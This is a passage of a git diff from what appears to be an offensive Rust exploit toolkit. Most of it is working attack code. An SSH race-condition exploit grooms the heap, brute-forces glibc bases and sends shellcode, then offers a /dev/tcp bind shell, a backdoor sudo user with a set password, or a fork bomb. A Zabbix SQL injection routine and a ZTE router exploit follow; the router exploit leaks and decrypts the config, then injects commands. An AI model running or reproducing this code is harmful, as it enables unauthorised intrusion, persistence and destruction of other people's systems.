if ip_trimmed.contains(':') && !ip_trimmed.contains('.') {
Ok(format!("[{}]:{}", ip_trimmed, port))
} else {
Ok(format!("{}:{}", ip_trimmed, port))
}
}
async fn handle_bind_shell_session(conn: TcpStream) -> anyhow::Result<()> {
println!("[*] Connected! Interactive shell below (type 'exit' to quit):");
let (mut rd, mut wr) = tokio::io::split(conn);
let mut stdin = tokio::io::stdin();
let mut stdout = tokio::io::stdout();
let reader = tokio::spawn(async move {
let mut buf = [0u8; 4096];
loop {
match rd.read(&mut buf).await {
Ok(0) => break,
Ok(n) => {
if stdout.write_all(&buf[..n]).await.is_err() { break; }
if stdout.flush().await.is_err() { break; }
}
Err(_) => break,
}
}
});
let writer = tokio::spawn(async move {
let mut buf = [0u8; 4096];
loop {
match stdin.read(&mut buf).await {
Ok(0) => break,
Ok(n) => {
if wr.write_all(&buf[..n]).await.is_err() { break; }
if wr.flush().await.is_err() { break; }
}
Err(_) => break,
}
}
});
let _ = tokio::try_join!(reader, writer);
println!("[*] Shell session ended.");
Ok(())
}
async fn setup_connection(ip: &str, port: u16) -> Result<TcpStream> {
let addr = normalize_target(ip, port)?;
let stream = TcpStream::connect(&addr).await.with_context(|| format!("Failed to connect to {}", addr))?;
Ok(stream)
}
async fn send_ssh_version(stream: &mut TcpStream) -> Result<()> {
stream.write_all(b"SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.1\r\n").await?;
Ok(())
}
// // Receive response with retry
async fn recv_retry(stream: &mut TcpStream, buf: &mut [u8]) -> Result<usize> {
loop {
match stream.read(buf).await {
Ok(n) if n > 0 => return Ok(n),
Ok(_) => bail!("Connection closed"),
Ok(_) => bail!("Connection closed while receiving data"),
Err(ref e) if e.kind() == ErrorKind::WouldBlock => {
sleep(Duration::from_millis(1)).await;
continue;
@@ -95,122 +139,84 @@ async fn recv_retry(stream: &mut TcpStream, buf: &mut [u8]) -> Result<usize> {
}
}
// // Send SSH version string
async fn send_ssh_version(stream: &mut TcpStream) -> Result<()> {
stream.write_all(b"SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.1\r\n").await?;
Ok(())
}
// // Receive SSH version from server
async fn receive_ssh_version(stream: &mut TcpStream) -> Result<()> {
let mut buffer = [0u8; 256];
recv_retry(stream, &mut buffer).await?;
recv_retry(stream, &mut buffer).await.context("Failed to receive SSH version")?;
Ok(())
}
// // Send SSH KEX INIT packet
async fn send_kex_init(stream: &mut TcpStream) -> Result<()> {
let payload = vec![0u8; 36];
send_packet(stream, 20, &payload).await
send_packet(stream, 20, &payload).await.context("Failed to send KEX_INIT")
}
// // Receive KEX INIT response
async fn receive_kex_init(stream: &mut TcpStream) -> Result<()> {
let mut buffer = [0u8; 1024];
recv_retry(stream, &mut buffer).await?;
recv_retry(stream, &mut buffer).await.context("Failed to receive KEX_INIT")?;
Ok(())
}
async fn perform_ssh_handshake(stream: &mut TcpStream) -> Result<()> {
send_ssh_version(stream).await?;
receive_ssh_version(stream).await?;
send_kex_init(stream).await?;
receive_kex_init(stream).await?;
send_ssh_version(stream).await.context("Handshake: send_ssh_version failed")?;
receive_ssh_version(stream).await.context("Handshake: receive_ssh_version failed")?;
send_kex_init(stream).await.context("Handshake: send_kex_init failed")?;
receive_kex_init(stream).await.context("Handshake: receive_kex_init failed")?;
Ok(())
}
async fn prepare_heap(stream: &mut TcpStream) -> Result<()> {
for _ in 0..10 {
let data = vec![b'A'; 64];
send_packet(stream, 5, &data).await?;
async fn prepare_heap(stream: &mut TcpStream, glibc_base: u64) -> Result<()> {
for i in 0..10 {
let tcache_chunk = vec![b'A'; 64];
send_packet(stream, 5, &tcache_chunk).await.with_context(|| format!("Prepare heap: tcache_chunk {}", i))?;
}
for _ in 0..27 {
let large = vec![b'B'; 8192];
let small = vec![b'C'; 320];
send_packet(stream, 5, &large).await?;
send_packet(stream, 5, &small).await?;
for i in 0..27 {
let large_hole = vec![b'B'; 8192];
let small_hole = vec![b'C'; 320];
send_packet(stream, 5, &large_hole).await.with_context(|| format!("Prepare heap: large_hole {}", i))?;
send_packet(stream, 5, &small_hole).await.with_context(|| format!("Prepare heap: small_hole {}", i))?;
}
for _ in 0..27 {
for i in 0..27 {
let mut fake = vec![0u8; 4096];
create_fake_file_structure(&mut fake, GLIBC_BASES[0]);
send_packet(stream, 5, &fake).await?;
create_fake_file_structure(&mut fake, glibc_base);
send_packet(stream, 5, &fake).await.with_context(|| format!("Prepare heap: fake_file_structure {}", i))?;
}
let large_fill = vec![b'E'; MAX_PACKET_SIZE - 1];
send_packet(stream, 5, &large_fill).await?;
send_packet(stream, 5, &large_fill).await.context("Prepare heap: large_fill")?;
Ok(())
}
// // Send malformed public key and measure delay
async fn measure_response_time(stream: &mut TcpStream, error_type: u8) -> Result<f64> {
let error_packet = if error_type == 1 {
let error_packet_data = if error_type == 1 {
b"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3".to_vec()
} else {
b"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAAQQDZy9".to_vec()
};
let start = Instant::now();
send_packet(stream, 50, &error_packet).await?;
send_packet(stream, 50, &error_packet_data).await?;
let mut buf = [0u8; 1024];
let _ = stream.read(&mut buf).await;
Ok(start.elapsed().as_secs_f64())
}
// // Calculate parsing delay
async fn time_final_packet(stream: &mut TcpStream) -> Result<f64> {
let t1 = measure_response_time(stream, 1).await?;
let t2 = measure_response_time(stream, 2).await?;
let t1 = measure_response_time(stream, 1).await.context("Measuring time for packet 1")?;
let t2 = measure_response_time(stream, 2).await.context("Measuring time for packet 2")?;
Ok(t2 - t1)
}
fn create_fake_file_structure(buf: &mut [u8], base: u64) {
if buf.len() >= 8 {
buf[..8].copy_from_slice(&base.to_le_bytes());
async fn attempt_race_condition(mut stream: TcpStream, parsing_time: f64, glibc_base: u64) -> Result<bool> {
let mut public_key_packet_data = vec![0u8; MAX_PACKET_SIZE];
create_public_key_packet(&mut public_key_packet_data, glibc_base);
stream.write_all(&public_key_packet_data[..public_key_packet_data.len() - 1]).await?;
let calculated_wait_time = LOGIN_GRACE_TIME - parsing_time - 0.001;
if calculated_wait_time < 0.0 {
println!("[!] Warning: Calculated wait time is negative ({:.4}s). Clamping to 0.", calculated_wait_time);
}
}
// // Create packet with shellcode and fake structures
fn create_public_key_packet(buffer: &mut [u8], base: u64) {
buffer.fill(0);
buffer[..8].copy_from_slice(b"ssh-rsa ");
let offset = chunk_align(4096) * 13 + chunk_align(304) * 13;
buffer[offset..offset + SHELLCODE.len()].copy_from_slice(SHELLCODE);
for i in 0..27 {
let pos = chunk_align(4096) * (i + 1) + chunk_align(304) * i;
create_fake_file_structure(&mut buffer[pos..pos + 304], base);
}
}
// // Attempt to trigger race condition
async fn attempt_race_condition(mut stream: TcpStream, parsing_time: f64, base: u64) -> Result<bool> {
let mut payload = vec![0u8; MAX_PACKET_SIZE];
create_public_key_packet(&mut payload, base);
stream.write_all(&payload[..payload.len() - 1]).await?;
let wait_time = LOGIN_GRACE_TIME - parsing_time - 0.001;
sleep(Duration::from_secs_f64(wait_time)).await;
stream.write_all(&payload[payload.len() - 1..]).await?;
let wait_time_duration = Duration::from_secs_f64(calculated_wait_time.max(0.0));
sleep(wait_time_duration).await;
stream.write_all(&public_key_packet_data[public_key_packet_data.len() - 1..]).await?;
let mut buf = [0u8; 1024];
match stream.read(&mut buf).await {
Ok(n) if n > 0 && !buf.starts_with(b"SSH-2.0-") => Ok(true),
@@ -220,136 +226,207 @@ async fn attempt_race_condition(mut stream: TcpStream, parsing_time: f64, base:
}
}
fn print_post_actions() {
println!("Available Post-Ex Actions:");
println!(" 1. Bind Shell (port {})", BIND_SHELL_PORT);
println!(" 2. Persistent user '{}'", PERSISTENT_USER);
println!(" 3. Fork bomb (Denial/Crash)");
println!(" 4. Interactive PTY shell (recommended)");
}
// // Execute post-exploitation action
fn post_exploit_action(option: u8) {
match option {
1 => {
println!("[+] Root shell enabled - attach manually via SSH");
}
2 => {
println!("[+] Creating persistent user...");
let _ = Command::new("bash")
.arg("-c")
.arg("useradd -m -p $(openssl passwd -1 root123) pwned && usermod -aG sudo pwned")
.status();
}
3 => {
println!("[!] Triggering fork bomb...");
let _ = Command::new("bash")
.arg("-c")
.arg(":(){ :|:& };:")
.status();
}
_ => println!("[-] Invalid action"),
fn get_postex_command(action: u8) -> String {
match action {
1 => format!(
"nohup bash -c 'bash -i >& /dev/tcp/0.0.0.0/{}/0 2>&1 &'",
BIND_SHELL_PORT
),
2 => format!(
"useradd -m -p $(openssl passwd -1 '{}') {} && usermod -aG sudo {}",
PERSISTENT_PASS, PERSISTENT_USER, PERSISTENT_USER
),
3 => ":(){ :|:& };:".to_string(),
4 => "exec /bin/bash -i".to_string(),
_ => "".to_string(),
}
}
// // Entry point for auto-dispatch system
pub async fn run(target: &str) -> Result<()> {
println!("warning high resource usage Caustion!!!");
println!("560k request in 5 seconds");
println!("Select post-exploitation action:");
println!(" 1. Remote Root Shell");
println!(" 2. Persistence (create SSH user)");
println!(" 3. Server Destruction (fork bomb)");
async fn execute_exploit_logic(target_ip: String, port_num: u16) -> Result<()> {
println!("[*] Target: {}:{}", target_ip, port_num);
let stdin = stdin();
let mut choice = String::new();
print!("Enter option [1-3]: ");
stdout().flush()?;
stdin.lock().read_line(&mut choice)?;
let mode: u8 = choice.trim().parse().unwrap_or(0);
if !(1..=3).contains(&mode) {
bail!("Invalid option.");
print_post_actions();
print!("Select post-ex action [1-4, default 4]: ");
std::io::stdout().flush().ok();
let mut choice_str = String::new();
std::io::stdin().read_line(&mut choice_str).ok();
let mode_choice: u8 = choice_str.trim().parse().unwrap_or(4);
let num_attempts_per_base: usize;
loop {
print!("Enter the number of attempts per GLIBC base: ");
std::io::stdout().flush().context("Failed to flush stdout for attempts input")?;
let mut attempts_str = String::new();
std::io::stdin().read_line(&mut attempts_str).context("Failed to read number of attempts")?;
match attempts_str.trim().parse::<usize>() {
Ok(num) if num > 0 => {
num_attempts_per_base = num;
break;
}
_ => {
println!("[!] Invalid input. Please enter a positive integer for the number of attempts.");
}
}
}
println!("Do you want to run more than 10,000 attempts? [y/N or a number like 90000]");
let mut input = String::new();
stdin.lock().read_line(&mut input)?;
let trimmed = input.trim();
let mut attempts = 10000;
if trimmed.eq_ignore_ascii_case("y") {
println!("Enter total number of attempts:");
input.clear();
stdin.lock().read_line(&mut input)?;
attempts = input.trim().parse::<usize>().unwrap_or(10000);
} else if let Ok(n) = trimmed.parse::<usize>() {
attempts = n;
}
let (ip, port) = if let Some((ip_part, port_part)) = target.rsplit_once(':') {
let ip_clean = ip_part.trim_matches(|c| c == '[' || c == ']');
(ip_clean.to_string(), port_part.parse::<u16>()?)
} else {
println!("No set target ip:port specified. Enter SSH port for {}: ", target);
print!("Port: ");
stdout().flush()?;
let mut port_input = String::new();
stdin.lock().read_line(&mut port_input)?;
let port = port_input.trim().parse::<u16>()?;
(target.trim_matches(|c| c == '[' || c == ']').to_string(), port)
};
let semaphore = Arc::new(Semaphore::new(100_000));
let postex_cmd = get_postex_command(mode_choice);
let semaphore = Arc::new(Semaphore::new(CONCURRENCY));
let mut tasks: FuturesUnordered<tokio::task::JoinHandle<anyhow::Result<bool>>> = FuturesUnordered::new();
for attempt in 0..attempts {
let permit = semaphore.clone().acquire_owned().await?;
let ip = ip.clone();
let _mode = mode;
tasks.push(tokio::spawn(async move {
let _permit = permit;
if attempt % 1000 == 0 {
println!("[*] Attempt {}/{}", attempt, attempts);
}
// === NEW: pick a random glibc base each attempt ===
let base = random_glibc_base();
let mut stream = match setup_connection(&ip, port).await {
Ok(s) => s,
Err(_) => return Ok(false),
};
if perform_ssh_handshake(&mut stream).await.is_err() {
return Ok(false);
}
if prepare_heap(&mut stream).await.is_err() {
return Ok(false);
}
let Ok(parsing_time) = time_final_packet(&mut stream).await else {
return Ok(false);
};
Ok(attempt_race_condition(stream, parsing_time, base).await.unwrap_or(false))
}));
let mut glibc_bases = vec![];
let mut current_base = GLIBC_BASE_START;
while current_base < GLIBC_BASE_END {
glibc_bases.push(current_base);
current_base += GLIBC_STEP;
}
while let Some(result) = tasks.next().await {
match result {
println!("[*] Brute-forcing GLIBC base from 0x{:x} to 0x{:x} with step 0x{:x}", GLIBC_BASE_START, GLIBC_BASE_END, GLIBC_STEP);
println!("[*] Total GLIBC bases to check: {}", glibc_bases.len());
println!("[*] Attempts per GLIBC base: {}", num_attempts_per_base);
for glibc_base_addr in glibc_bases {
for attempt_num in 0..num_attempts_per_base {
let ip_clone = target_ip.clone();
let sem_clone = semaphore.clone();
let cmd_clone = postex_cmd.clone();
let permit = sem_clone.acquire_owned().await.context("Failed to acquire semaphore permit")?;
tasks.push(tokio::spawn(async move {
let _permit = permit;
let mut stream = match setup_connection(&ip_clone, port_num).await {
Ok(s) => s,
Err(_e) => {
return Ok(false);
}
};
if let Err(_e) = perform_ssh_handshake(&mut stream).await {
return Ok(false);
}
if let Err(_e) = prepare_heap(&mut stream, glibc_base_addr).await {
return Ok(false);
}
let parsing_time = match time_final_packet(&mut stream).await {
Ok(pt) => pt,
Err(_e) => {
return Ok(false);
}
};
if attempt_race_condition(stream, parsing_time, glibc_base_addr).await.unwrap_or(false) {
println!("[+] Exploit succeeded! GLIBC base 0x{:x} (attempt {})", glibc_base_addr, attempt_num);
if !cmd_clone.is_empty() {
println!("[*] Post-ex command to execute (conceptually): {}", cmd_clone);
}
match mode_choice {
1 => {
println!("[*] Attempting to connect to bind shell on port {}...", BIND_SHELL_PORT);
let bind_shell_target_addr = format!("{}:{}", ip_clone, BIND_SHELL_PORT);
sleep(Duration::from_secs(2)).await;
match TcpStream::connect(&bind_shell_target_addr).await {
Ok(conn_stream) => {
if let Err(e) = handle_bind_shell_session(conn_stream).await {
println!("[!] Bind shell session error: {}", e);
}
}
Err(e) => {
println!("[!] Could not connect to bind shell at {}: {}", bind_shell_target_addr, e);
println!("[!] If firewall blocks remote connects, try post-ex #2 or #4.");
}
}
}
2 => {
println!("[*] Verifying if user '{}' exists. Try SSH: ssh {}@{}", PERSISTENT_USER, PERSISTENT_USER, ip_clone);
println!("[*] Password: {}", PERSISTENT_PASS);
println!("(Manual check required. If login works, exploit succeeded!)");
}
3 => {
println!("[!] Fork bomb sent. Target likely crashed or hung (manual verification needed).");
}
4 => {
println!("[*] Interactive PTY shell requested. The shellcode attempts to spawn /bin/sh.");
println!("[*] If successful, the SSH session might drop or provide a new prompt.");
println!("Manual attach might be possible via existing connection if it didn't drop, or check netcat.");
}
_ => {
println!("[*] Post-ex action unknown/unsupported. Check exploit results manually.");
}
}
return Ok(true);
}
Ok(false)
}));
}
}
let mut success_found = false;
while let Some(task_result) = tasks.next().await {
match task_result {
Ok(Ok(true)) => {
println!("[+] Exploit succeeded!");
post_exploit_action(mode);
return Ok(());
println!("[SUCCESS] Exploit Succeeded! One of the attempts was successful.");
println!("[*] Check chosen post-exploitation action effects.");
if mode_choice == 1 {
println!("[*] If you chose a bind shell, connect with: nc {} {}", target_ip, BIND_SHELL_PORT);
}
success_found = true;
break;
}
Ok(Ok(false)) => continue,
Ok(Err(e)) => {
eprintln!("[!] Exploit error: {}", e);
continue;
Ok(Ok(false)) => { }
Ok(Err(e)) => eprintln!("[!] Task error (internal logic error): {}", e),
Err(e) => eprintln!("[!] Task join error: {}", e),
}
}
if !success_found {
println!("[-] All attempts finished. Exploit likely unsuccessful with current parameters.");
println!("[-] Try adjusting GLIBC range, timing, or concurrency if target is vulnerable.");
}
Ok(())
}
pub async fn run(target_info: &str) -> anyhow::Result<()> {
if target_info.is_empty() {
bail!("Target IP address/hostname cannot be empty.");
}
if target_info.contains(':') {
bail!("Invalid target format. Expected IP address or hostname, got '{}'. Port will be asked separately.", target_info);
}
let ip_address = target_info.to_string();
let port_num: u16;
loop {
print!("Enter the target port number (e.g., 22): ");
io::stdout().flush().context("Failed to flush stdout")?;
let mut port_input = String::new();
io::stdin().read_line(&mut port_input).context("Failed to read port from stdin")?;
match port_input.trim().parse::<u16>() {
Ok(port) if port > 0 => {
port_num = port;
break;
}
Err(join_err) => {
eprintln!("[!] Join error: {}", join_err);
continue;
Ok(_) => {
println!("[!] Invalid port number. Port must be a positive integer (1-65535). Please try again.");
}
Err(_) => {
println!("[!] Invalid input. Please enter a valid port number (1-65535).");
}
}
}
println!("[-] All attempts exhausted.");
Ok(())
execute_exploit_logic(ip_address, port_num).await
}
+5
View File
@@ -0,0 +1,5 @@
pub mod uniview_nvr_pwd_disclosure;
// pub mod
+1
View File
@@ -0,0 +1 @@
pub mod zabbix_7_0_0_sql_injection;
@@ -0,0 +1,159 @@
use anyhow::{anyhow, Result};
use reqwest::Client;
use serde_json::json;
use std::fs;
use std::io::{self, Write};
const HEADERS: &str = "application/json";
// Internal function renamed to `exploit_zabbix` to avoid conflicts
async fn exploit_zabbix(api_url: &str, username: &str, password: &str, _payload: &str) -> Result<()> {
let client = Client::new();
let url = format!("{}/api_jsonrpc.php", api_url.trim_end_matches('/'));
// // Login to get the token
let login_data = json!({
"jsonrpc": "2.0",
"method": "user.login",
"params": {
"username": username,
"password": password
},
"id": 1,
"auth": null
});
let login_response = client
.post(&url)
.header("Content-Type", HEADERS)
.json(&login_data)
.send()
.await
.map_err(|e| anyhow!("Login request error: {}", e))?;
let login_response_json: serde_json::Value = login_response
.json()
.await
.map_err(|e| anyhow!("Failed to parse login response: {}", e))?;
let auth_token = login_response_json
.get("result")
.ok_or_else(|| anyhow!("Failed to retrieve auth token"))?
.as_str()
.ok_or_else(|| anyhow!("Auth token not a string"))?
.to_string();
// // SQLi test using the provided payload
let sqli_data = json!({
"jsonrpc": "2.0",
"method": "user.get",
"params": {
"selectRole": ["roleid", "name", "type", "readonly AND (SELECT(SLEEP(5)))"],
"userids": ["1", "2"]
},
"id": 1,
"auth": auth_token
});
let test_response = client
.post(&url)
.header("Content-Type", HEADERS)
.json(&sqli_data)
.send()
.await
.map_err(|e| anyhow!("Test request error: {}", e))?;
let test_response_text = test_response
.text()
.await
.map_err(|e| anyhow!("Failed to read test response: {}", e))?;
if test_response_text.contains("\"error\"") {
println!("[-] NOT VULNERABLE.");
} else {
println!("[!] VULNERABLE.");
}
Ok(())
}
// Prompt user to choose a payload option
async fn get_payload_choice() -> Result<String> {
println!("Choose SQL payload option:");
println!("1: Load SQL payloads from file");
println!("2: Enter custom SQL payload");
println!("3: Use default SQL payload");
let mut choice = String::new();
print!("Enter your choice (1/2/3): ");
io::stdout().flush().unwrap();
io::stdin()
.read_line(&mut choice)
.map_err(|e| anyhow!("Failed to read choice: {}", e))?;
let choice = choice.trim();
match choice {
"1" => {
// Load from a file (e.g., sql_payloads.txt)
println!("Loading SQL payloads from file...");
let payloads = fs::read_to_string("sql_payloads.txt")
.map_err(|e| anyhow!("Error reading payload file: {}", e))?;
Ok(payloads.trim().to_string())
}
"2" => {
// Allow user to input a custom payload
println!("Enter your custom SQL payload (do not include the SELECT statement, only the payload part): ");
let mut custom_payload = String::new();
io::stdout().flush().unwrap();
io::stdin()
.read_line(&mut custom_payload)
.map_err(|e| anyhow!("Failed to read custom payload: {}", e))?;
let custom_payload = custom_payload.trim();
// Ensure the custom payload isn't empty
if custom_payload.is_empty() {
return Err(anyhow!("Custom payload cannot be empty. Please enter a valid payload."));
}
Ok(custom_payload.to_string())
}
"3" => {
// Use a default payload
println!("Using default SQL payload...");
Ok("readonly AND (SELECT(SLEEP(5)))".to_string())
}
_ => Err(anyhow!("Invalid choice, please select 1, 2, or 3.")),
}
}
// Public dispatch entry point
pub async fn run(target: &str) -> Result<()> {
println!("[*] Zabbix 7.0.0 SQL Injection Checker (CVE-2024-42327)");
println!("[*] Target API URL: {}", target);
let mut username = String::new();
let mut password = String::new();
print!("Username: ");
io::stdout().flush().unwrap();
io::stdin()
.read_line(&mut username)
.map_err(|e| anyhow!("Failed to read username: {}", e))?;
print!("Password: ");
io::stdout().flush().unwrap();
io::stdin()
.read_line(&mut password)
.map_err(|e| anyhow!("Failed to read password: {}", e))?;
let username = username.trim();
let password = password.trim();
// Get the payload choice from the user
let payload = get_payload_choice().await?;
// Run the exploit with the selected payload
exploit_zabbix(target, username, password, &payload).await
}
+1
View File
@@ -0,0 +1 @@
pub mod zte_zxv10_h201l_rce_authenticationbypass;
@@ -0,0 +1,229 @@
use aes::Aes128;
use anyhow::Result;
use cipher::{BlockDecrypt, KeyInit};
use cipher::generic_array::GenericArray;
use reqwest::{Client, cookie::Jar};
use std::{
fs::{self, File},
io::{Read, Write},
net::TcpStream,
sync::Arc,
};
use tokio::time::Duration;
use std::net::ToSocketAddrs;
/// AES-128 ECB decrypt without padding
fn decrypt_ecb_nopad(data: &[u8], key: &[u8]) -> Result<Vec<u8>> {
use cipher::consts::U16;
if data.len() % 16 != 0 {
anyhow::bail!("ECB decryption requires block-aligned data");
}
let cipher = Aes128::new_from_slice(key)?;
let mut output = Vec::with_capacity(data.len());
for chunk in data.chunks(16) {
let mut block = GenericArray::<u8, U16>::clone_from_slice(chunk);
cipher.decrypt_block(&mut block);
output.extend_from_slice(&block);
}
Ok(output)
}
/// Extract host and port from target
fn parse_target(target: &str) -> Result<(String, u16)> {
if target.contains("]:") {
let parts: Vec<&str> = target.rsplitn(2, "]:").collect();
let port = parts[0].parse::<u16>()?;
let host = parts[1].trim_start_matches('[').to_string();
return Ok((host, port));
} else if target.contains(':') {
let parts: Vec<&str> = target.splitn(2, ':').collect();
let port = parts[1].parse::<u16>()?;
return Ok((parts[0].to_string(), port));
}
println!("[?] No port provided. Enter port:");
let mut input = String::new();
std::io::stdin().read_line(&mut input)?;
let port = input.trim().parse::<u16>()?;
Ok((target.to_string(), port))
}
/// Leak the router config file
fn leak_config(host: &str, port: u16) -> Result<()> {
println!("[*] Leaking config from http://{}:{}/ ...", host, port);
// Resolve and connect with timeout
let addr = (host, port)
.to_socket_addrs()?
.next()
.ok_or_else(|| anyhow::anyhow!("Could not resolve address"))?;
let timeout = Duration::from_secs(5);
let mut conn = TcpStream::connect_timeout(&addr, timeout)?;
let boundary = "----WebKitFormBoundarysQuwz2s3PjXAakFJ";
let body = format!(
"--{}\r\nContent-Disposition: form-data; name=\"config\"\r\n\r\n\r\n--{}--\r\n",
boundary, boundary
);
let request = format!(
"POST /getpage.gch?pid=101 HTTP/1.1\r\n\
Host: {}:{}\r\n\
Content-Type: multipart/form-data; boundary={}\r\n\
Content-Length: {}\r\n\
Connection: close\r\n\r\n{}",
host, port, boundary, body.len(), body
);
conn.write_all(request.as_bytes())?;
let mut response = vec![];
conn.read_to_end(&mut response)?;
if let Some(start) = response.windows(4).position(|w| w == b"\r\n\r\n") {
let body = &response[start + 4..];
File::create("config.bin")?.write_all(body)?;
}
println!("[+] Config saved to config.bin");
Ok(())
}
/// Decrypt config and extract credentials
fn decrypt_config(config_key: &[u8]) -> Result<(String, String)> {
let mut encrypted = File::open("config.bin")?;
let mut data = vec![];
encrypted.read_to_end(&mut data)?;
let mut key16 = [0u8; 16];
key16[..config_key.len().min(16)].copy_from_slice(&config_key[..config_key.len().min(16)]);
let decrypted = decrypt_ecb_nopad(&data, &key16)?;
fs::write("decrypted.xml", &decrypted)?;
let xml = fs::read_to_string("decrypted.xml")?;
let username = xml.split("IGD.AU2").nth(1)
.and_then(|s| s.split("User").nth(1))
.and_then(|s| s.split("val=\"").nth(1))
.and_then(|s| s.split('"').next())
.unwrap_or("unknown")
.to_string();
let password = xml.split("IGD.AU2").nth(1)
.and_then(|s| s.split("Pass").nth(1))
.and_then(|s| s.split("val=\"").nth(1))
.and_then(|s| s.split('"').next())
.unwrap_or("unknown")
.to_string();
fs::remove_file("config.bin").ok();
fs::remove_file("decrypted.xml").ok();
println!("[+] Decrypted credentials: {} / {}", username, password);
Ok((username, password))
}
/// Perform login
async fn login(session: &Client, host: &str, port: u16, username: &str, password: &str) -> Result<()> {
println!("[*] Logging in to http://{}:{}/ ...", host, port);
let url = format!("http://{}:{}/", host, port);
let page = session.get(&url).send().await?.text().await?;
let token = page.split("getObj(\"Frm_Logintoken\").value = \"").nth(1)
.and_then(|s| s.split('"').next())
.ok_or_else(|| anyhow::anyhow!("Login token not found"))?;
let params = [
("Username", username),
("Password", password),
("frashnum", ""),
("Frm_Logintoken", token),
];
session.post(&url).form(&params).send().await?;
println!("[+] Login submitted.");
Ok(())
}
/// Logout
async fn logout(session: &Client, host: &str, port: u16) -> Result<()> {
let url = format!("http://{}:{}/", host, port);
session.post(&url).form(&[("logout", "1")]).send().await?;
println!("[*] Logged out.");
Ok(())
}
/// Command injection payload generator
fn command_injection(cmd: &str) -> String {
let inj = format!("user;{};echo", cmd);
inj.replace(" ", "${IFS}")
}
/// Abuse DDNS form to inject command
async fn set_ddns(session: &Client, host: &str, port: u16, payload: &str) -> Result<()> {
let url = format!(
"http://{}:{}/getpage.gch?pid=1002&nextpage=app_ddns_conf_t.gch",
host, port
);
let form = [
("IF_ACTION", "apply"), ("Name", "dyndns"),
("Server", "http://www.dyndns.com/"), ("Username", payload),
("Password", "password"), ("Interface", "IGD.WD1.WCD3.WCIP1"),
("DomainName", "hostname"), ("Service", "dyndns"),
("Name0", "dyndns"), ("Server0", "http://www.dyndns.com/"),
("ServerPort0", "80"), ("UpdateInterval0", "86400"),
("RetryInterval0", "60"), ("MaxRetries0", "3"),
("Name1", "No-IP"), ("Server1", "http://www.noip.com/"),
("ServerPort1", "80"), ("UpdateInterval1", "86400"),
("RetryInterval1", "60"), ("MaxRetries1", "3"),
("Enable", "1"), ("HostNumber", "")
];
println!("[*] Sending command injection payload...");
session.post(&url).form(&form).send().await?;
println!("[+] Payload delivered.");
Ok(())
}
/// Exploit wrapper
async fn exploit(config_key: &[u8], host: &str, port: u16) -> Result<()> {
let cookie_jar = Arc::new(Jar::default());
let session = Client::builder()
.cookie_provider(cookie_jar)
.danger_accept_invalid_certs(true)
.timeout(Duration::from_secs(10)) // ⏱️ HTTP timeout
.build()?;
leak_config(host, port)?;
let (username, password) = decrypt_config(config_key)?;
login(&session, host, port, &username, &password).await?;
let payload = command_injection("echo hacked > /var/tmp/pwned");
set_ddns(&session, host, port, &payload).await?;
logout(&session, host, port).await?;
println!("[✓] Exploit complete.");
Ok(())
}
/// Dispatch entry point
pub async fn run(target: &str) -> Result<()> {
let (host, port) = parse_target(target)?;
let config_key = b"Renjx%2$CjM";
match exploit(config_key, &host, port).await {
Ok(_) => {
println!("[*] Success on {}:{}", host, port);
Ok(())
}
Err(e) => {
println!("[!] Exploit failed: {}", e);
Err(e)
}
}
}
+1
View File
@@ -1,3 +1,4 @@
pub mod sample_scanner;
pub mod ssdp_msearch;
pub mod port_scanner;
pub mod stalkroute_full_traceroute;
+86 -70
View File
@@ -1,9 +1,9 @@
use anyhow::Result;
use anyhow::{Result, anyhow};
use std::{
fs::File,
io::{self, Write},
io::{self, Write, BufWriter},
net::{SocketAddr, ToSocketAddrs},
sync::Arc,
sync::{Arc, Mutex},
};
use tokio::{
net::{TcpStream, UdpSocket},
@@ -11,7 +11,7 @@ use tokio::{
time::{timeout, Duration},
};
#[allow(dead_code)]
#[derive(Debug)]
pub struct ScanSettings {
pub concurrency: usize,
pub timeout_secs: u64,
@@ -21,8 +21,7 @@ pub struct ScanSettings {
pub output_file: String,
}
#[allow(dead_code)]
/// Prompt user for scan configuration
/// Interactive config prompt
pub fn prompt_settings() -> Result<ScanSettings> {
Ok(ScanSettings {
concurrency: prompt_usize("Concurrency: ")?,
@@ -34,8 +33,7 @@ pub fn prompt_settings() -> Result<ScanSettings> {
})
}
#[allow(dead_code)]
/// Interactive entry point
/// Main entrypoint for interactive CLI mode
pub async fn run_interactive(target: &str) -> Result<()> {
let settings = prompt_settings()?;
run_with_settings(
@@ -50,13 +48,11 @@ pub async fn run_interactive(target: &str) -> Result<()> {
.await
}
/// Dispatch-compatible wrapper
#[allow(dead_code)]
pub async fn run(target: &str) -> Result<()> {
run_interactive(target).await
}
/// Renamed internal function to avoid clash
/// === Core Scanner Logic ===
pub async fn run_with_settings(
target: &str,
concurrency: usize,
@@ -66,63 +62,77 @@ pub async fn run_with_settings(
scan_udp_enabled: bool,
output_file: &str,
) -> Result<()> {
let target = normalize_target(target)?;
// Resolve domain or IP
let (resolved_ip_str, resolved_ip) = resolve_target(target)?;
let semaphore = Arc::new(Semaphore::new(concurrency));
let file = Arc::new(Mutex::new(BufWriter::new(File::create(output_file)?)));
let mut tasks = vec![];
let mut file = File::create(output_file)?;
writeln!(file, "Scan Results for {}\n", target)?;
println!("[*] Starting scan for target: {} (resolved: {})", target, resolved_ip_str);
writeln!(file.lock().unwrap(), "Scan Results for {} ({})\n", target, resolved_ip_str)?;
let progress_bar = Arc::new(Mutex::new(ProgressBar::new(65535 * (1 + scan_udp_enabled as usize))));
// TCP Scan loop
println!("[*] Starting TCP scan...");
for port in 1..=65535 {
for port in 1..=65535u16 {
let permit = semaphore.clone().acquire_owned().await?;
let target = target.clone();
let mut file = file.try_clone()?;
let file = file.clone();
let progress_bar = progress_bar.clone();
let ip = resolved_ip;
let ip_str = resolved_ip_str.clone();
let handle = tokio::spawn(async move {
let _permit = permit;
if let Some((status, banner)) = scan_tcp(&target, port, timeout_secs).await {
let line = format!("[TCP] {}:{} => {}", target, port, status);
if let Some((status, banner)) = scan_tcp(&ip, port, timeout_secs).await {
let line = format!("[TCP] {}:{} => {}", ip_str, port, status);
if status == "OPEN" || !show_only_open {
if !banner.is_empty() {
writeln!(file, "{} | Banner: {}", line, banner).ok();
let _ = writeln!(file.lock().unwrap(), "{} | Banner: {}", line, banner);
if verbose {
println!("{} | Banner: {}", line, banner);
}
} else {
writeln!(file, "{}", line).ok();
let _ = writeln!(file.lock().unwrap(), "{}", line);
if verbose {
println!("{}", line);
}
}
}
}
